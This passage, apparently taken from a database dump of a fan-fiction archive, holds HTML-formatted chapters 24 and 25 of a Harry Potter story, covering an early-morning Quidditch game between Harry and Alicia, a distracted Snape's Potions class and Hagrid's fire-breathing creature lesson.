wasn\'t sure what to say and as if on cue Hermione spoke up.</p>\n\n<p>&quot; He\ndidn\'t throw up... actually he was the only boy in class that didn\'t drool at\nthe mere sight of Fleur, if you must know.&quot; She said patting Harry on the\nback much to Harry\'s embarrassment.</p>\n\n<p>The answer was\nnot what the twins were hoping for and their jaw dropped in obvious disbelief.\nThe answer was intended for Fred and George but the rest of the table heard her\ntoo. Most of the girls looked like they had seen Harry for the first time in\ntheir life. Harry could see his normalcy flying away from him after that\ncomment. He prepared himself for another day like the Saturday and hoped like\nhell for a day like Monday to come around.. soon. Harry decided that he would\nfake one of his nightmares to stop the girls from taking too much of a notice\nof him.</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 24, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 24<br>\n<b>Chapter Name:</b> Early-morning Fun</p>\n\n<p>&nbsp;</p>\n\n<p>Harry might\nhave had thought that he needed to fake a nightmare, fortunately for him he\ndidn\'t. At dinnertime it became clear that the girls were still scared to get\ninvolved with him, since the dragon transformation incident. This was a delight\nthat he intended to savor for as long a time as he could. </p>\n\n<p>The next day\nbegan early... even for him. He woke up at five thirty in the morning, which\nwas rather early compared to his usual habit of waking up at about six thirty.\nSince he had a whole hour to waste, Harry headed to his room to get his Firebolt,\nthe fastest broomstick that he knew to exist.</p>\n\n<p>When Harry\nopened the gate to the Quidditch field he took in a deep breath of fresh air.\nThe air was always more crisp in the morning and it made his nose tickle. Once\non the field he knelt down on the field and ripped off a bit of grass. As he\nwas standing up straight he let the grass fall from his hand, to determine\nwhich way the wind was blowing. He went to the shed with the Quidditch supplies,\nand took out the practice snitch. It was slightly bigger than the real thing,\nhence it was slower but that didn\'t make it any easier to catch it.</p>\n\n<p>By the time he\nreached the field again the sun was making headway into the sky. Harry used a\nspell to force the snitch on to the ground. He mounted his broom and yelled, &quot;\nFinite Incantem&quot;, which broke the spell holding the practice snitch down.\nThe snitch whizzed past Harry at in incredible rate. His blood started to fill\nwith adrenaline from the thrill of the search as he felt the first sign when\nthe tip of his tongue became bitter for a split second.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry hadn\'t\nbeen the only one who woke up early that morning. Alicia Spinnet the head-girl\nalso woke up from a bad dream involving a circus and a family of poodles.\nWhenever she woke up this early in the morning she always liked to watch the\nsun rise over the Quidditch field, against a silhouette of the forest. In fact\nit&#8217;d been happening a lot to her. </p>\n\n<p>Only the other\nday, the had been there when Harry had put Hermione to bed. She hadn&#8217;t said\nanything as she saw nothing wrong there. Harry did leave as quickly as he came\nin, and didn&#8217;t even kiss Hermione on the forehead &#8211; Alicia sighed. <i>&#8216; This is\nnot a romantic movie.&#8217;</i> </p>\n\n<p>Though she suspected\nthe sun was a fair way up, Alicia decided that it was worth looking at. Small\namounts of sunlight filtered through the multi-colored window when she moved\nthe curtains to one side. It took a second for her to get accustomed to the\nbright light. But she could see a solitary figure on the Quidditch field even\nbefore her eyes got there focus back.</p>\n\n<p><i>&#8216; I wonder\nwho&#8217;s that?&#8217;</i> she thought, it was too far too even make a guess at the gender. She\nsaw the person get on the broom and then release the silvery snitch. The person\nwas very quick at retrieving it and she assumed it was Harry since he was the\nfastest snitch catcher on the field.</p>\n\n<p>&#8216; This is a\nbit voyeuristic... isn\'t it?,&#8217; asked a faint voice in her mind, sniggering and\ngiggling.</p>\n\n<p>Alicia&#8217;s face\nflushed. &#8216; Not really... I\'m the captain of the team and I\'m just seeing how\nhe\'s practicing.&#8217; </p>\n\n<p>&#8216; Is that\nso?...&#8217; The voice said to her in very very intimidating way. &#8216; Then tell me\nthis, Why do you always blush when he looks at you?&#8217;</p>\n\n<p>&#8216; Be...\nBecause.... ,&#8217; the logical part of the brain failed to find any reason. Talk\nabout ironic.</p>\n\n<p>&#8216; You don\'t\nknow the answer or is it that the answer scares you?,&#8217; asked the faint voice\nwas becoming more clear and resonant all the time.</p>\n\n<p>&#8216; If you\'re so\nsmart then tell me why?&#8217; Alicia spat at her other voice in her head. </p>\n\n<p>&#8216; Remember you\nasked... You like him.&#8217; there was a hint of mischief in that voice.</p>\n\n<p>&#8216; Of course I\nlike him. He\'s not malicious to me is he?,&#8217; said the logical part then tried to\nelaborate, &#8216; He\'s polite, gentle, caring and handsome... oops.&#8217;</p>\n\n<p>The logical\npart of her brain wanted to withdraw that last adjective, more than anything\nelse in the world. &#8216; You said handsome, not \'cute\' like you usually say about\nhim.. Could it be that you like him more than you let on?...&#8217; the voice was now\nmore confident than ever before.</p>\n\n<p>&#8216; I don\'t...&#8217;\nShe said almost wanting it to be true. &#8216; and...and even if I did it would never\nwork... I\'m two years older than him.&#8217; </p>\n\n<p>&#8216; Is that so\nMs. If-I-was-a-day-younger-I-would-be-in-sixth-year.... if you aren\'t\ninterested then why do you keep talking to me... You want me to give you\nreasons to go out with him... well I\'ll give you some. Like you said, he\'s\npolite, gentle, caring and last but not least he\'s handsome. There\'s one that\nI\'ll add just to sweeten the pot... he\'s tall &#8211; I still don&#8217;t how that happened\nin three months&#8230;&#8230;&#8230; Err.. Even if he\'s younger than you he certainly is taller,\nso it\'s not going to be embarrassing for you two go out in public. BUT I highly\ndoubt that would be a reason you wouldn\'t want to go out with him.&#8217;</p>\n\n<p>&#8216; But I\'m\nleaving at the end of the year...,&#8217; protested the logical part of the brain.</p>\n\n<p>&#8216; so..&#8217;</p>\n\n<p>&#8216; so we can\'t\ncontinue the relationship after Hogwarts...&#8217;</p>\n\n<p>&#8216; what makes\nyou so certain that you\'ll want to or even that it would last that long? How\nmany year long relationships have you had so far?&#8217;</p>\n\n<p>&#8216; None...,&#8217;\nreplied the logical part with disappointment dripping from it.</p>\n\n<p>&#8216; See. As for\ncontinuation of the relationship, if this is love, true love then it wouldn\'t\nbe a problem. Even if it isn\'t, you\'ll have a good friend.&#8217;</p>\n\n<p>&#8216; So you think\nI should...&#8217;</p>\n\n<p>&#8216; Ask your\nheart, ... WAIT, that\'s me! YES OF COURSE * shouted the voice.</p>\n\n<p>&#8216; What do I\ndo? I mean I haven\'t tried dating since George in fifth year&#8217; Alicia shuddered.\n&#8216; ... I\'ll be rusty.&#8217;</p>\n\n<p>&#8216; At least you\nhave, he hasn\'t had any. Well I don&#8217;t think he has. He doesn&#8217;t look it. He\ndidn&#8217;t even kiss that other girl.. Hermione whatever&#8230;&#8217;</p>\n\n<p>&#8216; Granger.\nHermione Granger.&#8217; </p>\n\n<p>&#8216; Okay,\nHermione. He didn&#8217;t even kiss her goodnight , like in the movies that night. So\nyou\'re in good company. I think I should give advice.&#8217;</p>\n\n<p>&#8216; What makes\nyou the expert,&#8217; Alicia asked.</p>\n\n<p>&#8216; We all those\nmovies and those romance novels under Katie&#8217;s bed &#8211; that you supposedly don&#8217;t\nknow about &#8211; it all has to go somewhere.&#8217;</p>\n\n<p>&#8216; Smartaleck.&#8217;</p>\n\n<p>&#8216; No name\ncalling... I\'ll give you one final advice... take it slow. He\'s been through an\nawful lot lately. Become good friends first, then if you want to be more than\nthat tell him. If you do it this way... you\'ll get to know the real him.&#8217;</p>\n\n<p>&#8216; Thanks...\nI\'ll see what I can do &#8211; maybe.&#8217; </p>\n\n<p>&#8216; Ohh, you&#8217;ll\ndo more than that, if you want to stay sane.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Once the\nconversation with her heart or is it the less logical part of her brain was\nfinished she rushed through the morning rituals and headed to the Quidditch\nfield with her very own Nimbus Two Thousand and One in her left hand. She ran\nall the way to the field, coming to full stop a few meters from the field. Harry\nwas too deep in his search for the snitch to realize that someone was watching\nfrom the sidelines. He came to a full stop right in front of her when she\ncaught the snitch that he was going for.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Nice\ncatch,&quot; he said smiling broadly at her. </p>\n\n<p>She smiled one\nof her own. &quot; It really was nothing...&quot; said Alicia, as she handed\nHarry the snitch that had quite by chance had appeared right in front of her\nnose. &quot; Can I play with you...,&quot; she blurted out. &#8220; I mean room for\none more.&quot; &#8211; <i>&#8216; Mind out of gutter Spinnet!&#8217; </i></p>\n\n<p><i>&#8216; She\nblushes an awful lot,&#8217; </i>&nbsp;thought Harry as he nodded a yes.</p>\n\n<p>&quot; Brilliant!&#8221;\nAlicia said giving a whoop. &#8220; Erm, Well then... what are the rules?&quot;</p>\n\n<p>&quot; We both\nsearch for the snitch - whoever catches it most out of ten releases wins?&quot;</p>\n\n<p>&quot; That\'s\nhardly fair, I\'m not a seeker.&quot;</p>\n\n<p>&quot; Well,\nthat\'s why I\'m giving you 2 capture handicap.&quot;</p>\n\n<p>&quot; Only\ntwo?... let me use your broom and I\'ll take one capture handicap... how about\nthat&quot; asked Alicia, fairly certain Harry would not give his broom.</p>\n\n<p>&quot; Erm\nokay.&quot; said Harry rather reluctantly, &quot;... just don\'t crash it.&quot;</p>\n\n<p>&quot; Wow.. I\nreally didn\'t expect you to agree, but....&quot; she snatched Harry\'s broom as\nshe dropped hers from her hand and took off into the air. &quot; ...since you\ndid, I\'m going to make you regret this.&quot;</p>\n\n<p>&quot; We\'ll\nsee&quot; Harry took off after her on her Nimbus 2001.</p>\n\n<p>Her Nimbus\n2001 though slower, it was a lot easier to handle since the broom didn\'t twist\nand turn at the slightest movement of her grip. She also wasn\'t required to\nreact so fast all the time. She understood where the phrase \'seeker reflex\'\ncame from as well as how Harry had reacted so fast when she collided with him. </p>\n\n<p>Several times\nduring their search for the snitch she was really impressed how fast Harry\nseemed to move on her Nimbus 2001 and stop dead when it looked as though they\nmight collide. &#8216; He\'s really a born flyer isn\'t he... No wonder he\'s got dragon\nanimagus ability.&#8217; &nbsp;thought Alicia in total amazement.</p>\n\n<p>&nbsp;</p>\n\n<p>She had only\nstarted to notice Harry the year before when he went to the Yule ball. She\nremembered how uncomfortable he looked being moved on the dance floor like a\nshow dog by his date. She wanted to go and have a dance with him but by the\ntime George Weasley had let go of her he had gone off to somewhere.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Hey...what\'s\nthe score?&quot; asked Alicia when she saw Harry catch the snitch. The game\nwent on...</p>\n\n<p>&nbsp;</p>\n\n<p>Even with one\nhandicap and the faster broom Alicia still lost. There were two reasons for\nthis. Number one Harry was the seeker for the Gryffindor house and as such used\nto looking for the snitch, whereas she was the chaser a position that emphasis\nmore on passing and intercepting. The second reason was that Alicia had never\nhandled a Firebolt before and quite frankly looked, for the first few minutes,\nto be a first year broom student.</p>\n\n<p>On the way\nback from the Quidditch field Alicia apologized to Harry for her behavior the\nmorning before. Harry told her that she didn\'t need to since she was defending\nthe honor of the house with the knowledge that she had. When the entered the\ncommon room there was only two people waiting for them there. </p>\n\n<p>Ron and\nHermione.</p>\n\n<p>&quot; Where\nthe hell have you beeeeeennn?&quot; the last part of the question got elongated\nwhen he saw his companion was none other than the head-girl. They were both\ncovered in mud and Harry had a small cut on his elbow that had a small amount\nof blood leaking from it.</p>\n\n<p>&quot; Playing\na Quidditch mini game.&quot; answered Harry cheerily to a shocked Ron\'s face.</p>\n\n<p>&quot; With\nher...&quot; asked Ron pointing at the head-girl.</p>\n\n<p>&quot; Yes.&quot;\nanswered Alicia, &quot; ... we have been playing catch the snitch. Harry won. Maybe\nnext time you two would like to join us.&quot; there was genuine friendliness\nin her voice. </p>\n\n<p>Hermione\nquickly dismissed the idea though. &quot; Thanks, but no thanks.&quot; she\nsaid, as she tied her hair in a ponytail. &quot; Brooms have a tendency to run\naway from me and I really don\'t care for Quidditch much anyway- &quot; then she\npointed at Ron and said, &quot; -feel free to take him with you whenever you\nlike.&quot;</p>\n\n<p>Ron turned red\nat this comment, though Alicia saw no reason for him to do so. She politely\nsmiled at him, before things could get too uncomfortable in the silence that\nhung in there. She quickly left after that saying she had to get ready for her\nclass and headed for the showers. Harry did the same as well and when he came\ndownstairs he found out that Alicia had left for her first class a few minutes\nbefore.</p>\n\n<p>&nbsp;</p>\n\n<p>The trio\nagreed that they didn\'t have enough time for breakfast and so they went to\ntheir first class of the day. Potions with Professor Snape, but when they\nentered the class five minutes late, something unlike all the other times they\nhad entered late happened....</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>(<b>VERY BIG\nAND IMPORTANT AUTHOR&#8217;S NOTE</b>: Sometimes I show what a character is thinking.\nI wanted to do that for Ron, but all things I thought of, made him seem worse\nthan my portrayal of him is supposed be. He\'s not supposed to be bad... Not yet&#8230;\nMaybe ;)</p>\n\n<p><b>About\nAlicia</b>:\nI know some of you will find the Harry/Alicia aspect to be &#8216;unreal&#8217; or rather\nlike a teen male fantasy &#8211; but you should know that &#8211; you&#8217;re right. It is the\nteen male fantasy. However, I don&#8217;t think Harry&#8217;s first girlfriend should be\nHermione. It makes things all too complicated in the beginning. His first\ngirlfriend if I had to choose would be <b><i>like</i></b> Hermione. Mature, and\nable to think past one date frame of mind. )</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 25, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 25<br>\n<b>Chapter Name:</b> &quot; Class, Meet Cuddles&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Parvati Patil\nwas the first person to reach the Potions class that morning. She muttered\nangrily at herself for coming into the room so early. And alone. <i>&#8216; You just\nhad to wake up so early... didn\'t you?,&#8217; </i>she thought to herself as she took\nher seat next to where Lavender was supposed to sit.</p>\n\n<p><i>&#8216; Well at\nleast the Slytherins aren\'t here yet.&#8217; </i></p>\n\n<p>It seemed fate\ndidn&#8217;t like Parvati that day. No sooner had she thought that, all the Slytherin\nboys walked into the room with Malfoy in the lead. They took their usual seats\nat the front of the class. No words were exchanged between Parvati and the Slytherins,\nnor were any said between the Slytherins themselves. Malfoy quickly became\nbored with the situation and decided to terrorize the only Gryffindor present. </p>\n\n<p>His job was\nmade even easier by the simple fact that Parvati was one of the docile types.\nShe had the habit of exploding occasionally, but that rarely happened and Parvati\nhad a feeling that this morning was not going to be one of them. Malfoy\nintentionally took a long time to get up from his seat. He made sure that Parvati\ncould not miss the malicious expression on his face. </p>\n\n<p>Parvati\nshifted on her seat and wished like hell someone else from the Gryffindor house\nwould come in. When Malfoy was finally off the seat he slowly made his way\ntowards her at the back of the room. His wand waving in the air menacingly.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Petrificus\nTotalus&quot; said Dean Thomas and three other Gryffindors in unison as they\nentered the room pointing their wands in Malfoy\'s direction. It took them a\nsplit second to determine that Malfoy wanted to intimidate poor Parvati. Malfoy\nfelt his arms stick to his sides and his legs get stuck together, just before\nhe fell to the floor with a loud thud. </p>\n\n<p>Dean and the\nother three Gryffindors made a point of stepping on Malfoy as they quickly went\nto where Parvati was sitting.</p>\n\n<p>&quot; You alright,\nlove?&quot; asked Dean, careful to keep an eye on Malfoy\'s little gang.</p>\n\n<p>&quot; Yes.&#8221;\nHer voice radiated relief. &#8220; Thank you.&quot;</p>\n\n<p>&quot; Don\'t\nworry about it...&quot; he turned his full attention to the Slytherins now.</p>\n\n<p>Crabbe and Goyle\nlooked as though they might start a fight with the five Gryffindors present,\nbut stopped when they saw Professor Snape walk in the room.</p>\n\n<p>Malfoy had\nmanaged to get free of the spell fairly quickly, considering three of the\nstudent had combined their magic to do it. Since the teacher was in the class\nhe decided to launch a formal complaint, in the hopes that Professor Snape\nwould take points off the Gryffindor house and hand out detention. &quot; Sir&#8230;&quot;\nhe said in a wounded voice. </p>\n\n<p>&nbsp;</p>\n\n<p>Professor Snape\'s\nentrance was missed by all those present, as they had all been paying attention\nto what was happening between Malfoy and the Gryffindors.</p>\n\n<p>He did not\nmake his trademark \'Tap\' noises every six steps, since he had totally forgotten\nto wear his normal footwear in the morning. Had it been one of the students, he\nwould have had taken points off them, for it was dangerous for students to work\nwith dangerous potions without protection. He didn&#8217;t even take his deep breath\nof Gryffindor fear in the air.</p>\n\n<p>Most\nimportantly he did not scratch his buttocks once, as his hands were busier\nholding a piece of equipment that was in his hand. He sat down quietly on his\ndesk and stared at the mortar and pestle set that Harry had given him.</p>\n\n<p>The mortar and\npestle set was the only one of its kind in the world and he knew that just by\nowning it he had become the envy of potion masters all over the world.</p>\n\n<p>&#8216; Just wait\ntill they see me at the next Potions convention... I\'ll finally get the upper\nhand on that ...&#8217; &nbsp;even though he was just thinking he could not help\nshuddering at the though of the name this person, &#8216; Professor Snooty from Cartova Mountain Academy... I\'m going to really\nrub my face into him...&#8217;</p>\n\n<p>Professor\nSnooty was the person that Professor Snape hated almost as much as Lord Voldemort.\nIn reality his hatred was equal to that of James Potter and his marauders, and\nHarry and his reckless behavior combined.</p>\n\n<p>He was his\nmain rival in potions when they studied together at Hogwarts. Though Professor\nSnape did not particularly like the subject that he taught, he always tried to\nmake himself known as the best &#8211; it was his solemn duty as a slytherin. For\nyears Professor Snooty had beaten Snape at showing off their prized possession\nto the conference. He was enjoying his daydream so much, that he actually blew\nup on a Slytherin. </p>\n\n<p>At that point,\nhe really didn\'t care, on whom he blew up. The only things he could remember\ncorrectly were &quot;I hate Snooty&quot;; &quot; I Hate Potters&quot; and\n&quot; I need some owl droppings for my wart removal potion&quot;.</p>\n\n<p>&quot; What in\nthe blue blazes do you want?&quot;</p>\n\n<p>&quot; Th..the..\nGryffindors attacked me without provocat-&quot; Malfoy was interrupted by\nProfessor Snape.</p>\n\n<p>Professor\nthought for a split second and decided that he\'ll take some points off. This\nway he didn\'t really have to fill up any paper work. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Five\npoints off Gryffindors...&quot; he said, choosing the least amount he could\ntake off with out filing any paperwork. He did not care whether or not Malfoy\nwas killed at that point all he cared for was going back to his daydream about\nhow he was going to rub Professor Snooty\'s nose into the work. </p>\n\n<p>&quot; ...Go\nto your seat Draco.&#8221; He said shortly. &#8220; And stay there&quot;.</p>\n\n<p>Then an angry\nProfessor Snape turned to the class and said, &quot; Next person to make a peep\ngets a month of detention in the Forbidden Forest.&quot; before going back to looking at\nthe mortar and pestle set with a glazed expression on his face. </p>\n\n<p>He was not\nsure if he would follow through with the punishment, but he knew just the\nthreat was good enough to keep the class well controlled. For the rest of class\nProfessor Snape was very nice to Gryffindors, not intentionally of course. </p>\n\n<p>He didn\'t\nnotice when Harry and his two friends showed up to class well over five minutes\nlate. Malfoy didn\'t dare point it out to Professor Snape, as he was scared of\nhow differently Professor Snape was acting.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape also did\nnot really take the class; rather he let the students do what ever they wanted\nas long as they were quite. He never stopped staring at the mortar and pestle\nset to actually teach anything that day. The Gryffindors were simply happy to\ndo nothing in class. That is except for Hermione ofcourse. </p>\n\n<p>Her academic\nmind reeled at the thought of a whole period being wasted because the teacher\nwas not actually teaching anything. She had to be restrained by Harry and Ron\nall throughout the potions class, so that she did not ask Professor Snape what\nwas going on. When the class finished she was really upset by the situation.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; If you\ntwo ever do anything like that again...&#8221; there was a crease on her forehead\nfrom the anger. &#8220; I swear in the name of the Merlin and his library of Magical\nbooks and all that is good in the world, I\'ll kill you both. Do you realize\nwhat just happened?&quot; she asked, looking back and forth between Harry and\nRon.</p>\n\n<p>They were a\nbit tired from holding Hermione down on the floor, so didn&#8217;t answer. &quot;\nWell do you?&quot; the pitch of her voice getting dangerously higher, &quot;...\nHe was staring at that...&quot; she actually did not know what it was that\nSnape was staring at she did not see it, &quot;...that thing&quot;</p>\n\n<p>&quot; A\nMortar and Pestle set to be exact, and a very expensive one.&quot; said Harry. &quot;\nI should know, I gave it to him.&quot; said Harry as the moved down the\ncorridor to where the Care of Magical Creatures class would be held.</p>\n\n<p>&quot; Is it\nenchanted to make Snape forget about class?&quot; asked Neville, who had just\ncaught up to the terrific trio and sounded very hopeful that, for the rest of\nthe year, he would not have to make a fool of himself in front of Professor\nSnape. Surprisingly enough Hermione though that Harry had done the same thing.\nShe walked a few steps ahead of Harry and spread her arms, effectively blocking\nthe narrow corridor to Harry. </p>\n\n<p>&quot; Is that\nwhy you gave it to him?&quot; asked Hermione.</p>\n\n<p>Harry was\ntaken aback by the fact that, Hermione thought that Harry was capable of doing\nsomething like that. <i>&#8216; Well I have to admit it is a reasonable assumption...,&#8217;\n</i>thought Harry, as he tried to dodge Hermione. Seeing that she was determined\nto get an answer, he answered.</p>\n\n<p>&quot; As hard\nas it may seem, I didn\'t even think about it. Now that you mention it, maybe I\nshould have done it.&quot; Harry paused, a little to see Hermione&#8217;s eyes flare\nup. When he thought she was going to start to scold him again, he started to\nspeak, &quot; The Mortar &amp; Pestle set is very expensive and it\'s what all\npotion masters hope to have. The maker of that particular one was very famous\nall over the world. That\'s the only one of his work that survived the Shozar\nWars&quot;, he stopped and tried to dodge her again. She was very persistent\nand it was one her qualities that Harry found very fitting. There was no hope\nof him actually getting past her without attacking her, so he decided to cave\nin for a while. &quot; I gave it him because he was a good friend to my mom,\neven though he was in Slytherin. You happy, now?&quot;</p>\n\n<p>&nbsp;&quot; Very...&quot;\nsaid Hermione.</p>\n\n<p>&#8220; You mom, and\nSnape.&#8221; Ron cried disgusted.</p>\n\n<p>Harry punched\nRon in the shoulder. &#8220; Not in that way you git. Remember when I said\nGryffindors picked on her &#8211; he was one of her only friends.&#8221; </p>\n\n<p>&#8220; Ohh.. Well,\nit&#8217;s okay then..&#8221; Ron still looked uneasy.</p>\n\n<p>&quot; Well\ngood. Now can we get to Hagrid\'s class?&quot; asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>For the first\ntime in history of Hogwarts, the Gryffindors wanted to stay in the potions\nclass rather than go to Care of Magical Creatures. They all knew of the\neccentricities of Hagrid and they knew chances were he had something that was\nbigger, faster, had more teeth and was more dangerous than ever before, just\nwaiting for them in class.</p>\n\n<p>&quot; Maybe he\nwon\'t have anything dangerous this year,&quot; said Neville, trying to convince\nhimself rather that anyone else in particular.</p>\n\n<p>&quot; Chances\nof that happening and Snape giving you points in class are the same.&quot;,\nCommented Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Indeed this\nwas the case as halfway across the school Hagrid got his arm bitten by a small\nwinged creature as he tried to put it inside it\'s enclosure. The Gryffindors\nweren\'t really surprised to see Hagrid show up for the class with bandages to\nhis right arm. They would have been more scared if he hadn\'t. Hagrid looked\nlike he always did, Big and gentle. It&#8217;s just a shame that Hagrid never brought\naround any nice and easy to love creatures.</p>\n\n<p>Hagrid scanned\nthrough the class for his favorite pupil, a scrawny little boy with round\nglasses. Lately all the girls in his classes were always talking about him.\nSince Harry hadn\'t come and seen him in the first few days of first week, he\nhadn&#8217;t had a chance to see him for a while. When he finally saw him he let out\na gasp.</p>\n\n<p>Hagrid\nappeared happy when he recognized Harry, but his happiness was replaced with\nsomething that Harry could not identify. It was almost as if Hagrid was seeing\nsomething else around Harry. Harry watched as Hagrid looked between him,\nHermione and Malfoy. He gave a small smile to Harry and asked, &quot; Is that\n\'ye Harry?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; In the\nflesh!&quot; he said as he gave the friendly half giant a hug. &quot; How was\nyour summer?&quot; he asked when he separated from Hagrid.</p>\n\n<p>Harry had\nanswered yes to Hagrid\'s question, and it looked as though he was happy, but\nwhen he asked about his holidays Hagrid looked genuinely distressed. Harry\nwondered what had happened in the summer to make Hagrid act in such a way. He\nhad assumed that him and Madame Maxime were sent as envoys to the giants, to\nask them join the side of light. </p>\n\n<p>&quot; It was\nok... I\'ll talk ter \'ye later&quot; answered Hagrid obviously not wanting to\nelaborate any further than he had to in front of the large number of waiting\nstudents. Hagrid then rushed off to get something. Ron looked at the rapidly\nescaping Hagrid and asked, &quot; Where\'s he going off to?&quot;</p>\n\n<p>&quot; I don\'t\nknow, but I think he wants us to talk to him after the class is finished.&quot;</p>\n\n<p>&quot; But\nwe\'ll miss lunch.&quot; complained Ron, but a look that reminded Harry of how\nHermione&#8217;s mother controlled her husband made him stop.</p>\n\n<p>When Hagrid\nwas back he had with him, on a trolley, a large cage and some sort of cloth hid\nthe contents of the cage &#8211; mostly. Occationally they could see a silvery flash.\nThe creature inside it didn\'t sound too happy. Well how can a wild beast be\nhappy to be trapped?</p>\n\n<p>&quot; Good Monin\nto \'ye all&quot;</p>\n\n<p>There was a\nmumbled reply to the greeting. The cage was shaking and the hissing and\ngrowling noises from cage just kept increasing. The whole class took on\ncollective step backwards. Hagrid didn\'t seem to notice the fear in their eyes.</p>\n\n<p>&quot; Some\nerr \'ye know, I huv been outer England in the summer&quot; </p>\n\n<p>None of\nstudents were informed of this actually, nor did they ever actually wonder what\nhe did over the summer.</p>\n\n<p>&quot; Been\ndoing a bit of critter collecting.&quot; He then took one step to the cage and\nwith one yank he took off the cloth covering the cage.</p>\n\n<p>&quot;Class...&quot;\nhis voice filled with excitement, &quot; Meet Cuddles&quot; he said pointing at\nthe blue and silvery creature in the cage. </p>\n\n<p>The whole\nclass took one more step back, while Hermione stood where she was. She was\nbusily trying to remember what creature it was as she scratched her head to get\ninspiration. She would have had stayed there if Harry and Ron hadn\'t dragged\nher back with them once they realized that she hadn\'t taken a step backwards.</p>\n\n<p>The serpentine\ncreature had scales that reflected a diffused version of sunlight, giving it a\nsurreal appearance. It had wings, each the same length as its body (head to\ntail). The creature didn\'t have a claw or grabbing mechanism, but on the end of\nthe wings there was something that resembled three fingers. The tail looked to\nbe strong enough to grab hold of something.</p>\n\n<p>&quot; A Veloron&quot;\nshouted Hermione, at the top of her voice, once she had figured out what the\ncreature was.</p>\n\n<p>&quot; Good\njob, Hermione... but could \'ya wait til I ask \'yer a question?&quot; said Hagrid.\n</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione seem\nto take to complement even though there was a hidden reprimand for her, since\nshe had interrupted what he was about to say. &quot; As Hermione said, its a Veloron.\nThese lil critters are found in the deserts of India. Don\'t worry \'ye don\'t have ter deal\nwith this one.&quot; When he said that the class took a collective sigh or\nrelief.</p>\n\n<p>Neville went\nto the ground on his knees and clasped his hands before starting to say, &quot;\nThank you. Thank you. Thank you&quot; but he had acted a bit too soon, as\nneither Hagrid nor the Veloron was done with surprises.</p>\n\n<p>&quot; Nice to\nsee \'yer enthusiasm&quot; said Hagrid, &quot; This is a pregnant mother. In the\nnext few weeks it\'ll give birth to about fifty little critters and once that\nhappens \'ye all get ter take care of one of \'em&quot;</p>\n\n<p>Before the\nclass could finish their collective groan of displeasure, the Veloron opened\nits mouth and fired a ball flame towards the students. They had all seen the\ncreature open its mouth, but they hadn\'t expected anything to come out of it,\nlet alone a large ball of fire. Hagrid quickly put the cloth back on the cage\nto prevent any future fireballs. Hermione knew this was bound to happen and she\nwas well prepared for this. </p>\n\n<p>She pointed he\nwand at the ball of flame and yelled, &quot; Iglus&quot;, causing the ball of\nflame to turn into solid ice and shatter on the ground on impact, several\ninches from Neville\'s kneeling body. This was too much to handle for Neville,\nwho, promptly fainted.</p>\n\n<p>Most people\nwhen they saw the fireball backed away from the scene. Malfoy could have had\nset the world record on how fast he had ran from where he was standing to a\nnearby tree. Amidst all this four people made their way to where Neville\'s body\nwas.</p>\n\n<p>Pansy happened\nto be the person standing behind Neville when this happened, and was the first\none to see if he was all right. She knelt down beside him and poked his\nunconscious body with her wand. </p>\n\n<p>Ron, ever the\ngentleperson that he was, nudged Neville\'s body with the tip of his shoes to\nsee if he was still alive. The other person trying to revive him was Dean\nThomas.</p>\n\n<p>Hermione was\nstill examining the shattered fireball. &quot; Pansy, Dean and Ron&quot;. Hagrid\nyelled from the front of the class, where he had just put the cover on cage, &quot;\n-take Neville back to the hospital wing. You guys can stay with him if you\nwant.&quot;</p>\n\n<p>After the\nevents with the Veloron, the students weren\'t sure if they wanted to go to that\nclass anymore. If it hadn\'t been for Hermione\'s quick action, Neville would\nhave been in a serious condition. There was a round of applause for her when\nshe looked up from the shattered remains of the fireball. Hagrid wasn\'t really\nconcerned about the fireball.</p>\n\n<p>&quot; Class,\nlet me assure \'ye the fire ball is only dangerous if \'ye are within two meters\nof the beast.... after that there\'s not \'nuff for a cup of tea and \'ye are all\nfive meters away.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>When Hermione\nnodded her head in agreement from behind Hagrid, the class relaxed a little,\nthough not much. Harry really wasn\'t worried about the fireball like Hermione\nhad been. He knew Hagrid was capable of bringing something into the class that\ncould severely injure, scar or even burn a person, but not something that could\nkill one of the students by accident. </p>\n\n<p>Hagrid told Zabini,\none of the Slytherins girls, to go and grab Malfoy from behind the tree, while\nhe worked on trying to settle the class after the fireball incident. By the\ntime they had done so both Ron and Malfoy were back.</p>\n\n<p>&quot; Hey\nHarry&quot; said Ron as he took a seat next to Hermione.</p>\n\n<p>&quot; How\'s\nhe doing?&quot; he asked.</p>\n\n<p>&quot; Fine...\nYou\'re not going to believe this but Pansy started to cry, saying it was her\nfault. She thinks she should have pushed him out of the way.&quot; said Ron,\nbefore he started to laugh. </p>\n\n<p>He did,\nhowever, manage to choke out &quot; -she&#8217;s even staying behind with Dean.&quot;\nRon did not get to finish he sentence as Hagrid started to cough in his usual\nthundering way to get attention of the class.</p>\n\n<p>&quot; Like I\ntold \'ye, these critters&#8230;&quot; said Hagrid. Ron and rest of the class worked\nhard to keep up with what Hagrid was saying about the creature, while Hermione\nwrote down whatever she already did not know. That, when Harry peeked at her\nnotes, 